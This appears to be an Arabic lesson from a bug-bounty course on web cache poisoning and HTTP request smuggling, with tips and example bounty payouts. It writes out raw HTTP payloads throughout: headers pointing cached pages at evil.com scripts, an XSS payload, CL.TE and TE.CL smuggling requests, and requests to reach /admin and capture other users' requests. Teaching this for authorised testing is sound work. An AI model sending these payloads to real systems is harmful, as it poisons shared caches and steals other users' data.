الدرس 16 من 24

تقنيات الاستغلال المتقدمة

تسميم ذاكرة الويب المؤقتة وتهريب الطلبات

3 دقيقة للقراءة

هذه التقنيات المتقدمة تستغل طبقات البنية التحتية بين العملاء والخوادم. معقدة لكنها تعطي مكافآت من الدرجة الأولى.

تسميم ذاكرة الويب المؤقتة

خداع الذاكرة المؤقتة لتخزين استجابات خبيثة:

1. المهاجم يرسل: طلب برأس مسموم
2. الخادم يستجيب: بناءً على الإدخال المسموم
3. الذاكرة المؤقتة تخزن: الاستجابة الخبيثة
4. الضحية يطلب: نفس URL
5. الذاكرة المؤقتة تقدم: الاستجابة المسمومة للضحية

مفاتيح الذاكرة المؤقتة مقابل المدخلات غير المفتاحية

مفتاح الذاكرة المؤقتة (ما يحدد المحتوى المخزن):
- مسار URL
- معاملات الاستعلام
- رأس Host

المدخلات غير المفتاحية (تتجاهلها الذاكرة، يعالجها التطبيق):
- X-Forwarded-Host
- X-Original-URL
- X-Forwarded-Scheme

تسميم الذاكرة المؤقتة الأساسي

# اختبر الرؤوس غير المفتاحية
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com

# إذا احتوت الاستجابة: <script src="//evil.com/app.js">
# والاستجابة مخزنة → جميع الزوار يحصلون على صفحة مسمومة

إيجاد الرؤوس غير المفتاحية

# رؤوس للاختبار
X-Forwarded-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
X-Forwarded-For
X-Host
X-Forwarded-Server

# استخدم Param Miner (إضافة Burp)
# يكتشف المعاملات غير المفتاحية تلقائياً

تسميم الذاكرة المؤقتة إلى XSS

# السيناريو: X-Forwarded-Host منعكس في الصفحة
GET /page HTTP/1.1
Host: example.com
X-Forwarded-Host: "><script>alert(1)</script>

# إذا خُزن، XSS يؤثر على جميع المستخدمين

تسميم الذاكرة المؤقتة المستهدف

# سمم ذاكرة مستخدم محدد (عبر رأس Vary)
# إذا Vary: User-Agent
# سمم الذاكرة لسلسلة User-Agent محددة
# أرسل رابط تصيد مع ذلك User-Agent

تهريب طلبات HTTP

استغلال التناقضات في كيفية تفسير الواجهة الأمامية والخلفية للطلبات.

لماذا يعمل

العميل → الواجهة الأمامية (CDN/WAF/موازن الحمل) → خادم الواجهة الخلفية

الواجهة الأمامية تستخدم: Content-Length
الواجهة الخلفية تستخدم: Transfer-Encoding: chunked

حدود الطلبات تُفسر بشكل مختلف!

تهريب CL.TE

الواجهة الأمامية: Content-Length الواجهة الخلفية: Transfer-Encoding

POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

تهريب TE.CL

الواجهة الأمامية: Transfer-Encoding الواجهة الخلفية: Content-Length

POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


الكشف

# الكشف القائم على الوقت
# إذا الواجهة الخلفية تنتظر المزيد من البيانات → ضعيفة

# كشف CL.TE
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4

1
Z
Q

# إذا انتهت المهلة → CL.TE ممكن

سيناريوهات الاستغلال

تجاوز ضوابط الوصول

# هرب طلب لنقطة نهاية مقيدة
POST / HTTP/1.1
Host: example.com
Content-Length: 100
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost


سرقة طلبات المستخدم

# بادئة طلب المستخدم التالي ببيانات المهاجم
POST / HTTP/1.1
Content-Length: 200
Transfer-Encoding: chunked

0

POST /comment HTTP/1.1
Content-Length: 500

comment=
# طلب المستخدم التالي يُلحق كجسم التعليق!

تسميم الذاكرة المؤقتة عبر التهريب

# هرب طلب يُخزن
POST / HTTP/1.1
Content-Length: 100
Transfer-Encoding: chunked

0

GET /static/app.js HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com


الأدوات

# smuggler - الكشف الآلي
python3 smuggler.py -u https://example.com

# Burp Suite - إضافة HTTP Request Smuggler
# يكشف ويولد حمولات التهريب تلقائياً

أمثلة المكافآت

الشركة التقنية المكافأة
PayPal تسميم الذاكرة المؤقتة 15,000 دولار
Cloudflare تهريب الطلبات 20,000 دولار
Uber تسميم الذاكرة XSS 8,000 دولار
DoD تجاوز التهريب 10,000 دولار

نصائح الاختبار

  1. تسميم الذاكرة المؤقتة: اختبر جميع الرؤوس، استخدم Param Miner
  2. تهريب الطلبات: الكشف القائم على الوقت أولاً
  3. اختبر بأمان دائماً: هذه الثغرات تؤثر على مستخدمين آخرين
  4. وثق بدقة: الثغرات المعقدة تحتاج PoC واضح

نصيحة احترافية: هذه تخصصات James Kettle (albinowax). اقرأ بحثه للتقنيات المتطورة.

الوحدة التالية: اختبار أمان API والهاتف. :::

اختبار

الوحدة 4: تقنيات الاستغلال المتقدمة

خذ الاختبار